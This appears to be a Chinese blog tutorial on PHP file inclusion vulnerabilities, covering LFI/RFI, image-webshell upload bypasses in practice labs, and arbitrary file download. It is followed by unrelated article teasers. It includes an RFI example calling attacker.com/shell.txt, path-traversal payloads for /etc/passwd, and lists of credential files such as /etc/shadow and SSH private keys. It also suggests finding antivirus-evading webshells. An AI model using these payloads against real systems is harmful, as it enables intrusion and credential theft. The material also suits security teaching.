文件包含(详解)
文件包含漏洞是一种常见的Web安全漏洞,其核心在于应用程序未对用户控制的文件路径或文件名进行严格过滤,导致攻击者能够包含并执行任意文件(包括本地或远程恶意文件)。

1. 文件包含原理
- 动态文件包含机制
开发者使用动态包含函数(如PHP的include、require)加载代码文件,但未对用户输入的路径参数进行校验,例如:
$page = $_GET['page'];
include($page . '.php'); // 用户可控的$page参数
- 关键问题
-
- 用户输入直接拼接至文件路径。
- 未限制可包含的文件范围(如允许包含非预期目录或远程文件)。
- 服务器配置不当(如PHP的
allow_url_include=On允许包含远程文件)。 - 对$GET['cmd']参数没有经过严格的过滤,直接带入了 include() 函数,攻击者可以修改$ GET[‘cmd’]的值,加载其他文件,执行非预期的操作,由此 造成了文件包含漏洞:
在PHP的动态包含文件中,像include文件,在网页打开该文件并进行get传参即可访问服务器中其他的文件,这是一个操作流程
就是利用一个文件,调用另外一个文件。当这个文件中是代码时,就是直接调用代码。
并且还有一个好处,当知道文件位置时,就是不管文件后缀类型名,使用文件包含它都可以正常解析该文件
2. 文件包含有关的函数
include():当使用该函数包含文件时,只有代码执行到 include()函数是才将文件包含进 来,发生错误时只给出一个警告,继续向下执行
include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用 一次
requier():使用 require 函数包含文件时,只要程序一执行,立即调用脚本;如果前者 执行发生错误,函数或输出错误信息,并终止脚本运行 require_once():功能与 require()相同,区别在于当重复调用同一文件时,程序只调用 一
3. 漏洞类型
3.1. 本地文件包含(Local File Inclusion, LFI)
本地主机上的文件,文件名称是相对路径或者绝对路径
- 定义:攻击者通过构造路径包含服务器本地的敏感文件或恶意文件。
- 利用场景:
-
- 读取敏感文件:
/etc/passwd、配置文件、日志文件等。 - 配合文件上传漏洞:包含已上传的Webshell。
- 利用PHP伪协议:
php://filter读取文件源码,或php://input执行代码。
- 读取敏感文件:
示例:
http://example.com/index.php?data=../../../../etc/passwd-

3.2. 本地包含读文件
常用文件路径 apache+Linux 日志默认路径 /etc/httpd/logs/access.log、/var/log/httpd/access.log
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames
nginx 日志文件
/usr/local/nginx/logs
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf /etc/init.d/httpd IIS6.0+win2003
配置文件 C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
./:当前路径
../:上级目录
/:根目录
~/:linux 用户主目录
3.2.1.1. 文件地址,只要是windows系统就存在该文件
C:\Windows\win.ini

3.3. 2. 远程文件包含(Remote File Inclusion, RFI)
远程文件包含:包含互联网上的文件,文件名称为 URL 格式
- 定义:攻击者通过URL包含远程服务器上的恶意脚本(需服务器配置允许包含远程文件)。
- 利用条件:
-
- PHP配置中
allow_url_fopen=On:允许打开url文件 - 且
allow_url_include=On:允许引用url文件 。两个默认是开的 - 包含路径未限制协议(如允许
http://、ftp://)。
- PHP配置中
示例:
http://example.com/index.php?get中指令=http://attacker.com/shell.txt
与文件包含相关配置文件:php.ini
3.4. 图片马+文件包含绕过
属于白名单
pass-13

3.4.1. 制作图片马
在服务端的 PHP 代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。
可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建要给 1.jpg, 其中代码内容如下
GIF98A <?php phpinfo();?>
copy 1.jpg/b+2.php/a 3.jpg
准备好图片和 php 文件,桌面下打开命令行,输入命令制作图片马
3.jpg就是图片马
成果:图片能正常打开,并且含有php恶意代码
步骤:
- 在图片位置打开cmd
- 使用上面代码内容
- 成功


11.jpg与3.jpg看起来一样,实际不一样,比如:大小
上传,把文件位置复制到文件包含漏洞网页进行检验

文件包含访问。

访问成功


主要关键点:制作图片马,访问路径
3.5. 二次渲染
经过:
- 文件上传后会被二次渲染(调整大小,压缩),导致图片中的恶意码被清除
绕过方法:
- 上传正常图片并下载渲染后的文件。
- 对比原始文件与渲染后文件,找到未被修改的位置插入 PHP 代码。
- 重新上传并触发文件包含。
一般情况文件会缩小
pass-16
很明显图片是被渲染过的

使用16进制工具对比两张图片找出图片没有被渲染过的地方

将一句话木马再插入被渲染过的图片,再保存
再上传图片,再文件包含即可(使用gif的动图)
3.6. Pass-18:条件竞争漏洞
- 问题分析:文件先上传后校验,存在短暂的时间窗口。
- 绕过方法:
-
- 快速上传 PHP 文件并利用 Burp 的 Intruder 模块持续发送请求。
- 在文件被删除前访问上传路径执行代码
4. 任意文件读取/下载
任意文件读取/下载漏洞 是指攻击者通过Web应用程序的缺陷,
绕过权限限制,直接访问或下载服务器上的任意文件(包括敏感配置文件、源代码、用户数据等)。
是指攻击者可以 通过某些漏洞,绕过应用程序的限制,直接读取或下载应用程序之外的文件。
5. pikachu
使用pikachu靶场实验文件读取与下载实操

5.1. 文件下载
点击kb图片下载

然后访问下载连接,根据url得fliname蕴含什么含义,可能文件是直接再服务器中访问下载的

在之前本地文件包含中含有一个windows配置文件
C:\Windows\win.ini
我们可以使用../../../ 查询到上级目录(方法:可以使用bp在get请求添加,也可以在url网址添加)
那么利用这一个漏洞,我们可以下载服务器中重要的文件或者说到该目录的任何文件。

如果有这个文件则将访问并下载,为什么多个../../
因为我们也不知道它上级目录有多少个,所以使用多个
注:
像以下可能存在文件下载漏洞
path
flie 等含各种参数的
5.2. 常见的敏感信息路径
5.2.1. Windows 系统
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息
5.2.2. Linux/Unix 系统
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh 目录下,新建 authorized_keys 文件,并将 id_rsa.pub 内容复制进去
/root/.ssh/id_rsa //ssh 私钥,ssh 公钥是 id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥 /root/.ssh/known_hosts
//ssh 会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访 问相同计算机时,OpenSSH 会核对公钥。如果公钥不同,OpenSSH 会发出警告, 避 免你受到 DNS Hijack 之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache 配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql 历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的 cmdline 参数
6. (文件相关漏洞)注意事项(重点)
- 我们上传一个后缀为php或者asp,文件,能上传成功表示该文件后缀可以进行下一步操作(不直接使用一句话,因为有非常大的几率被杀)
- 我们需要知道路径,能够访问到asp即刚刚上传的文件
- 在文件有一行代码,需要会解析,而不是输出文件所有内容
- 上传一句话木马,被杀了,那就想到免杀手段:一般去找别人上传的免杀码,或者工具,然后使用webshell连接
相关文章:
文件包含(详解)
文件包含漏洞是一种常见的Web安全漏洞,其核心在于应用程序未对用户控制的文件路径或文件名进行严格过滤,导致攻击者能够包含并执行任意文件(包括本地或远程恶意文件)。 1. 文件包含原理 动态文件包含机制 开发者使用动态包含函数…...
《SpringBoot中@Scheduled和Quartz的区别是什么?分布式定时任务框架选型实战》
🌟 大家好,我是摘星! 🌟 今天为大家带来的是Scheduled和Quartz对比分析: 新手常见困惑: 刚学SpringBoot时,我发现用Scheduled写定时任务特别简单。但当我看到同事在项目里用Quartz时&…...
安装fvm可以让电脑同时管理多个版本的flutter、flutter常用命令、vscode连接模拟器
打开 PowerShellfvm安装 dart pub global activate fvm安装完成后,如果显示FVM无法识别,那么需要去添加环境变量path添加这个:C:\Users\Administrator\AppData\Local\Pub\Cache\bin 常用命令 fvm releases 查看用户可以装的flutter版本fvm l…...
UNION和UNION ALL的主要区别
UNION和UNION ALL的主要区别在于处理重复数据和排序的方式。 UNION和UNION ALL都是SQL语言中用于合并两个或多个SELECT语句结果集的关键字。它们的主要区别如下: 1、对重复结果的处理:UNION在进行表链接后会筛选掉重复的记录,而UNION ALL不会…...
Kafka系列之:计算kafka集群topic占的存储大小
Kafka系列之:计算kafka集群topic占的存储大小 topic存储数据格式统计topic存储大小定时统计topic存储大小topic存储数据格式 单位是字节大小 size_bytes{directory="/data/datum/kafka/optics-all" } 782336计算topic存储大小脚本逻辑是: 计算指定目录或文件的大小…...
[密码学实战]Java使用Bouncy Castle实现Base64编码解码:完整指南
Java使用Bouncy Castle实现Base64编码解码:完整指南 摘要 本文将深入讲解如何通过Bouncy Castle(BC)加密库实现Base64编码解码,包含核心API使用、流式处理、与加密算法集成三大实战场景,提供5种代码实现方案和3种性能优化技巧。 一、Base64基础原理 1.1 编码机制 Bas…...
智谱AI大模型免费开放:开启AI创作新时代
文章摘要:近日,国内领先的人工智能公司智谱AI宣布旗下多款大模型服务免费开放,这一举措标志着大模型技术正式迈入普惠阶段。本文将详细介绍智谱AI此次开放的GLM-4 等大模型,涵盖其主要功能、技术特点、使用步骤以及应用场景&#…...
为什么要给单片机植入操作系统
给单片机植入操作系统(通常是实时操作系统,RTOS)主要是为了在资源有限的环境中实现更高效、更可靠的多任务管理和系统调度。以下是主要原因和优势: 1. 多任务并行处理 背景:单片机通常需要同时处理多个任务࿰…...
T1结构像+RS-fMRI影像处理过程记录(数据下载+Matlab工具箱+数据处理)
最近需要仿真研究T1结构像RS-fMRI影像融合处理输出目标坐标的路线可行性。就此机会记录下来。 为了完成验证目标处理,首先需要有数据,然后需要准备对应的处理平台和工具箱,进行一系列。那么开始记录~ 前言: 为了基于种子点的功能连…...
【前端基础】--- HTML
个人主页 : 9ilk 专栏 : 前端基础 文章目录 🏠 初识HTML🏠 HTML结构认识HTML标签HTML文件基本结构标签层次结构快速生成代码框架 🏠 HTML常见标签注释标签标题标签 h1-h6段落标签 p换行标签 br格式化标签图片标签 img超链接标签…...
黑马V11版 最新Java高级软件工程师课程-JavaEE精英进阶课
课程大小:60.2G 课程下载:https://download.csdn.net/download/m0_66047725/90615581 更多资源下载:关注我 阶段一 中台战略与组件化开发专题课程 阶段二 【物流行业】品达物流TMS 阶段三 智牛股 阶段四 千亿级电商秒杀解决方案专题 …...
C#插件与可扩展性
外接程序为主机应用程序提供了扩展功能或服务。.net framework提供了一个编程模型,开发人员可以使用该模型来开发加载项并在其主机应用程序中激活它们。该模型通过在主机和外接程序之间构建通信管道来实现此目的。该模型是使用: System.AddIn, System.AddIn.Hosting, System.…...
CVPR‘25 | 高文字渲染精度的商品图文海报生成
本文分享阿里妈妈智能创作与AI应用团队在图文广告创意方向上提出的商品图文海报生成模型,通过构建字符级视觉表征作为控制信号,可以实现精准的图上中文逐像素生成。基于该项工作总结的论文已被 CVPR 2025录用,并在阿里妈妈业务场景落地&#…...
Golang|抽奖相关
文章目录 抽奖核心算法生成抽奖大转盘抽奖接口实现 抽奖核心算法 我们可以根据 单商品库存量/总商品库存量 得到每个商品被抽中的概率,可以想象这样一条 0-1 的数轴,数轴上的每一段相当于一种商品,概率之和为1。 抽奖时,我们会生…...
RT-Thread开发文档合集
瑞萨VisionBoard开发实践指南 RT-Thread 文档中心 RT-Thread-【RA8D1-Vision Board】 RA8D1 Vision Board上的USB实践RT-Thread问答社区 - RT-Thread 【开发板】环境篇:05烧录工具介绍_哔哩哔哩_bilibili 【RA8D1-Vision Board】基于OpenMV 实现图像分类_哔哩哔哩_…...
rulego-server是一个开源程序,是一个轻量级、无依赖性的工作流自动化平台。支持 iPaaS、流式计算和 AI 能力。
一、软件介绍 文末提供程序和源码下载学习 RuleGo-Server 是一个基于 RuleGo 构建的轻量级、高性能、模块化和集成友好的自动化工作流程平台。可用于自动化编排、iPaaS(集成平台即服务)、API 编排、应用编排、AI 编排、数据处理、IoT 规则引擎、AI 助手…...
鸿蒙系统开发状态更新字段区别对比
在鸿蒙系统开发中,状态管理是构建响应式UI的核心机制,主要通过装饰器(Decorators)实现字段的状态观测与更新。根据鸿蒙的版本(V1稳定版和V2试用版),支持的装饰器及其特性有所不同。以下是主要状…...
抽象的https原理简介
前言 小明和小美是一对好朋友,他们分隔两地,平时经常写信沟通,但是偶然被小明发现他回给小美的信好像被人拆开看过,甚至偷偷被篡改过。 对称加密算法 开头的通信过程比较像HTTP服务器与客户端的通信过程,全明文传输…...
HTML理论题
1.什么是HTML? 超文本标记语言(英语:HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。 2.DOCTYPE 的作用是什么?标准与兼容模式(混杂模式)各有什么区别? DOCTYPE 的作用是告知浏览器的解析器用什么文档标准解析这个文档。 标准模式:用于…...
nginx-基础知识(二)
目录 虚拟主机 虚拟主机的功能 虚拟主机的划分方式 基于IP地址进行划分 基于域名进行划分 正向/反向代理 正向代理 反向代理 正向代理和反向代理的区别 负载均衡 负载均衡的类型 负载均衡的作用 nginx并发量比较高的原因 负载均衡的算法 会话保持 虚拟主机 虚拟…...
Ubuntu上安装Mysql
步骤 1:安装 MySQL Server sudo apt update sudo apt install mysql-server -y这将安装最新版本的 MySQL 8.0 以及所有依赖组件。 步骤 2:检查安装是否成功 mysql --version sudo systemctl status mysql如果状态是 active (running),说明成…...
idea maven 命令后控制台乱码
首先在idea中查看maven的编码方式 执行mvn -v命令 查看编码语言是GBK C:\Users\13488>mvn -v Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f) Maven home: D:\maven\apache-maven-3.6.3\bin\.. Java version: 1.8.0_202, vendor: Oracle Corporation, runt…...
C# dll 打包进exe
Framework4.x推荐使用 Costura.Fody 1. 安装 NuGet 包 Install-Package Costura.Fody工程自动生成packages文件夹,300M左右。生成FodyWeavers.xml、FodyWeavers.xsd文件。 2. 自动嵌入 编译后,所有依赖的 DLL 会被自动嵌入到 EXE 中。 运行时自动解压…...
【数据融合实战手册·实战篇】二维赋能三维的5种高阶玩法:手把手教你用Mapmost打造智慧城市标杆案例
在当今数字化时代,二三维数据融合技术的重要性不言而喻。二三维数据融合通过整合二维数据的结构化优势与三维数据的直观性,打破了传统数据在表达和分析上的局限,为各行业提供了更全面、精准的数据分析手段。从智慧城市建设到工业智能制造&…...
ValueError: model.embed_tokens.weight doesn‘t have any device set
ValueError: model.embed_tokens.weight doesn’t have any device set model.embed_tokens.weight 通常在深度学习框架(如 PyTorch)中使用,一般是在处理自然语言处理(NLP)任务时,用于指代模型中词嵌入层(Embedding layer)的权重参数。下面详细解释: 词嵌入层的作用 …...
解决:QTcpSocket: No such file or directory
项目场景: 使用QTcpSocket进行网络编程: 调用connectToHost连接服务器,调用waitForConnected判断是否连接成功,连接信号readyRead槽函数,异步读取数据,调用waitForReadyRead,阻塞读取数据。 问题描述 找不…...
六、LangChain Agent 最佳实践
1. 架构设计与组件选择 (1) 核心组件分层设计 Model(LLM驱动层) 生产环境推荐:使用 gpt-4-1106-preview 或 Anthropic Claude 3 等高性能模型,结合 model.with_fallbacks() 实现故障转移(如备用模型或本地模型)。本地部署:选择 Llama3-70B 等开源模型,搭配 Docker 或 …...
uni-app 安卓10以上上传原图解决方案
在Android 10及以上版本中,由于系统对文件访问的限制,使用chooseImage并勾选原图上传后,返回的是图片的外部存储路径,如:file:///storage/emulated/0/DCIM/Camera/。这种外部存储路径,无法直接转换成所需要…...
Python爬虫实战: 有道翻译
一、引言 在全球化进程不断加速的当下,语言交流的需求日益增长,翻译服务的重要性愈发凸显。有道翻译作为一款备受欢迎的在线翻译工具,其蕴含的数据具有极高的价值,可广泛应用于自然语言处理研究、翻译教学以及语言学习软件的开发等领域。 然而,为保护自身数据资源和网络安…...
CSS 文件格式
A QFrame#andrFrm[status"android_en"] A:表示父类或顶层窗口的类型。如果 A 是一个自定义的类名,确保该类已经正确注册到 Qt 系统中。QFrame:表示具体的控件类型。#andrFrm:表示控件的对象名称(通过 setOb…...
